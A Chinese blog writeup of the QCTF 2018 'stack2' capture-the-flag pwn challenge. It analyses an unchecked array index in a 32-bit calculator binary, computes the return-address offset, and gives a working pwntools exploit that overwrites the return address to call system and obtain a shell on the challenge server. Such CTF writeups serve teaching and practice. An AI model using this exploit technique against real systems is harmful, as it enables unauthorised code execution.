XCTF 4th-QCTF-2018 pwn stack2 writeup_"puts(\"*give me your numbers and i will return to-程序员宅基地

技术标签: CTF 4th-QCTF-2018  writeup  CTF  pwn  stack2  

题目描述:

暂无

分析思路:

1、首先拿到ELF文件,我们首先查看一下详细信息:

tucker@ubuntu:~/pwn$ file stack2
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
tucker@ubuntu:~/pwn$ checksec stack2
[*] '/home/tucker/pwn/stack2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2、我们使用IDA看一下,main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 99 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

我们看到是一个简单地程序,获取输入的值,并进行计算平均值,同时也可以修改之前输入的数组。等等,此处似乎有一个漏洞,这里的修改数值,没有检查边界条件,使得我们可以修改栈中的数据,我们简单实验一下:

tucker@ubuntu:~/pwn$ ./stack2 
***********************************************************
*                      An easy calc                       *
*Give me your numbers and I will return to you an average *
*(0 <= x < 256)                                           *
***********************************************************
How many numbers you have:
1
Give me your numbers
2
1. show numbers
2. add number
3. change number
4. get average
5. exit
3
which number to change:
33
new number:
4
1. show numbers
2. add number
3. change number
4. get average
5. exit
4
average is 2.00
1. show numbers
2. add number
3. change number
4. get average
5. exit
5

可以看到,当我们要修改的值得位置超过输入的边界时 ,仍可以修改,据此,我们可以修改内存中函数的EIP,从而劫持IP,转去执行我们需要的代码。

3、同时在IDA中我们使用shift+f12,可以看到有一个“/bin/bash"字符串,我们追踪发现了一个函数:

.text:0804859B                 public hackhere
.text:0804859B hackhere        proc near
.text:0804859B
.text:0804859B var_C           = dword ptr -0Ch
.text:0804859B
.text:0804859B ; __unwind {
.text:0804859B                 push    ebp
.text:0804859C                 mov     ebp, esp
.text:0804859E                 sub     esp, 18h
.text:080485A1                 mov     eax, large gs:14h
.text:080485A7                 mov     [ebp+var_C], eax
.text:080485AA                 xor     eax, eax
.text:080485AC                 sub     esp, 0Ch
.text:080485AF                 push    offset command  ; "/bin/bash"
.text:080485B4                 call    _system
.text:080485B9                 add     esp, 10h
.text:080485BC                 nop
.text:080485BD                 mov     edx, [ebp+var_C]
.text:080485C0                 xor     edx, large gs:14h
.text:080485C7                 jz      short locret_80485CE
.text:080485C9                 call    ___stack_chk_fail
.text:080485CE ; ---------------------------------------------------------------------------
.text:080485CE
.text:080485CE locret_80485CE:                         ; CODE XREF: hackhere+2C↑j
.text:080485CE                 leave
.text:080485CF                 retn
.text:080485CF ; } // starts at 804859B
.text:080485CF hackhere        endp

这个函数执行一条语句:system("/bin/bash"),因此我们可以想到在上面使用change number 的功能修改栈中的数据,控制程序跳转到hackhere函数。

4、首先我们需要知道数组v13与rip的偏移地址,(注意此处v13的位置为ebp-0x70,但是eip的位置不是在0x70+0x4的位置,因为有canary的保护,需要动态调试进行确定。)首先我们在main函数的开始下一个断点,在retn的地方下一个断点,运行程序,得到起始的ebp为0xFFAE1358,运行到retn,栈顶的位置为:0xFFAE136C,由此得到v13的地址为:0xFFAE1358-0x70 = 0xffae12e8,偏移量为0xFFAE136C - 0xffae12e8 = 0x84。

5、同时我们按照上面的思路,发现并不能正确的得到shell,原来是字符串/bin/bash的问题,由于测试环境的原因,我们需要使用/bin/sh,我们可以通过上面的办法向栈中写入/bin/sh字符串,但是发现每次栈的地址都会变,只得作罢。

因此我们可以利用原来的字符串/bin.bash的第7个字节开始的地址,作为system的参数,将system函数的地址写到栈中覆盖eip

由此我们可以编写exp:

# stack2_1.py

from pwn import *

# a = process('./stack2')
a = remote("111.198.29.45", "56058")

system_addr = 0x8048450

# off_addr = 0x9c
# a.send('1\n1\n3\n156\n80\n3\n157\n132\n3\n158\n4\n3\n159\n8\n5\n')

# a.interactive()

a.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8')

a.sendline('3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')

a.sendline('5')

a.interactive()

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_39596232/article/details/100163173

智能推荐

如何利用 onlyoffice 实现文档格式转换_onlyoffice转换pdf-程序员宅基地

文章浏览阅读744次。日常生活和工作中,文档格式转换应该是很常见的需求。面对这样的需求,我们技术男有没有属于自己的好方法呢?答案是有的,它就是 onlyoffice,今天就来介绍如何利用 onlyoffice 实现文档格式转换。官方的 onlyoffice 版本在 4.2 之前使用的请求是 Get 类型,之后的版本使用的请求类型是 Post,这一点需要我们特别注意。下面的表格是关于格式转换 API 参数的详细介绍。属性参数描述数据类型存在类型Async定义转换请求类型:异步与否。支持的值:truefalse。_onlyoffice转换pdf

JavaScript Math.PI 属性-程序员宅基地

文章浏览阅读1.4w次,点赞3次,收藏16次。什么是PI?PI就是圆周率π,PI是弧度制的π,也就是180°所以,Math.PI = 3.14 = 180°ps,PI是一个浮小数Math.PI/5*4分别是什么意思?let dig = Math.PI/5*4Math.PI/5,表示角度平分为36° 每个顶点到与中心连线之间的夹角α=(2π)/n = Math.PI / n * 2 那么相间的两个顶点到与中心连线之间的夹..._math.pi

Windows下,使用免安装ZIP归档,安装MySQL(5.5)服务器-程序员宅基地

文章浏览阅读1.1k次。1. 解压 MySQL ZIP压缩包 到 安装路径 D:\xapp\apps\,并将解压出来的文件夹重命名为 mysql。2.将MySQL的可执行文件目录 D:\xapp\apps\mysql\bin 加入系统环境变量,然后重启计算机。6.启动Windows命令行 键入 mysql -u root -p ,然后两次回车,进入MySQL控制台。如果通过配置文件 将 数据库目录设置到了别处,则需要将 mysql程序根目录的 data目录中。的内容拷贝到新的目录中,否则MySQL无法启动。

Bootstrap4总结(1)_bootstrap4的好处-程序员宅基地

文章浏览阅读1k次。一.Bootstrap简介1.什么是BootstrapBootstrap 是全球最受欢迎的前端组件库,用于开发响应式布局、移动设备优先的 WEB 项目。Bootstrap4 目前是 Bootstrap 的最新版本,是一套用于 HTML、CSS 和 JS 开发的开源工具集。2.Bootstrap的来源Bootstrap是美国Twitter公司的设计师Mark Otto和Jacob Thornton合作基于HTML、CSS、JavaScript开发的简洁、直观、强悍的前端开发框架,使得 W._bootstrap4的好处

[C++]LeetCode208 . 实现 Trie (前缀树)-程序员宅基地

文章浏览阅读264次。208 . 实现 Trie (前缀树)题目:实现一个 Trie (前缀树),包含 insert, search, 和 startsWith 这三个操作。示例:Trie trie = new Trie();trie.insert(“apple”);trie.search(“apple”); // 返回 truetrie.search(“app”); // 返回 falsetrie.startsWith(“app”); // 返回 truetrie.insert(“app”);tr

阶乘和(高精度算法)_阶乘和高精度-程序员宅基地

文章浏览阅读6.6k次,点赞6次,收藏12次。(对于自然数N的阶乘,当N比较小时,可以32位整数int范围内准确表示 。例如12!=479001600<2147483647(231-1) 而20!=2432902008176640000<9223372036854775807(263-1)可以在64位整数long long int范围内准确表示 ,但是N取值更大时,N!只能使用浮点数计算,从而产生误差 )题目描述已知正整数N(N..._阶乘和高精度

随便推点

java file数组 初始化_Java数组的定义,声明,初始化和遍历-程序员宅基地

文章浏览阅读633次。数组的定义数组是相同类型数据的有序集合。数组描述的是相同类型的若干个数据,按照一定的先后次序排列组合而成。其中,每一个数据称作一个元素,每个元素可以通过一个索引(下标)来访问它们。数组的三个基本特点:1. 长度是确定的。数组一旦被创建,它的大小就是不可以改变的。2. 其元素必须是相同类型,不允许出现混合类型。3. 数组类型可以是任何数据类型,包括基本类型和引用类型。数组变量属引用类型,数组也可以看..._java file 数组

十四章上机1_北大青鸟java第十四章上机练习4-程序员宅基地

文章浏览阅读449次。实现客户姓名录入 package kj;public class kehu { String []names=new String[10]; public void addName(String name){ for(int i=0;i

React路由 报错 ‘Switch‘ is not exported from ‘react-router‘.-程序员宅基地

文章浏览阅读722次。配置 路由 报错 'Switch' is not exported from 'react-router'.npm uninstall react-router-domnpm install [email protected]

利用tushare实现选股_tushare 选股-程序员宅基地

文章浏览阅读1.1k次,点赞2次,收藏7次。ID:399899量化交易中,首先要弄好的就是选股。然后在才是买卖策略的制定。不同类型的策略,选股思路也不相同。俗话说得好,不管黑猫白猫,抓到老鼠的就是好猫。一个好的选股策略,往往在量化中是起较为关键的作用的。要实现程序化选股的话,数据又是一个前提。要有数据才能去实现编写程序。数据来源有很多,可以去爬取,也可以去股票交易网站下载。当然也有一些接口可以提供数据。常见的接口有tushare、baostock、akshare在这里我以一个简单的选股案例,为大家介绍一下使用tushare接口使用tush_tushare 选股

Gin框架使用Casbin进行用户权限校验_gin 的权限校验-程序员宅基地

文章浏览阅读3.7k次,点赞2次,收藏10次。以下是测试项目目录一、配置modelconf/casbin_rbac_model.conf# 请求[request_definition]r = sub,obj,act# sub ——> 想要访问资源的用户角色(Subject)——请求实体# obj ——> 访问的资源(Object)# act ——> 访问的方法(Action: get、post...)# 策略(.csv文件p的格式,定义的每一行为policy rule;p,p2为policy rule的名字。)_gin 的权限校验

OKR制定与实施:团队OKR众筹策略_运营okr的制定与实施-程序员宅基地

文章浏览阅读319次。例如,一个团队有20个人,其中有2个员工在共同做A业务,3个员工在共同做B业务,5个员工在共同做C业务,剩下10个员工在共同做D业务,那么可以基于业务相关性将这20个员工分成A业务研讨组、B业务研讨组、C业务研讨组和D业务研讨组,这样,在步骤2目标众筹时,就以A、B、C、D 4个研讨小组为单位,邀请其输出3~5个团队OKR,然后团队主管再基于所有小组贡献的团队OKR进行投票表决,形成团队的OKR。通过这种方式,大大增强了团队成员对团队目标的共识程度,团队目标真正变成了大家共同的目标,而不再只是主管的目标。_运营okr的制定与实施

推荐文章

热门文章

相关标签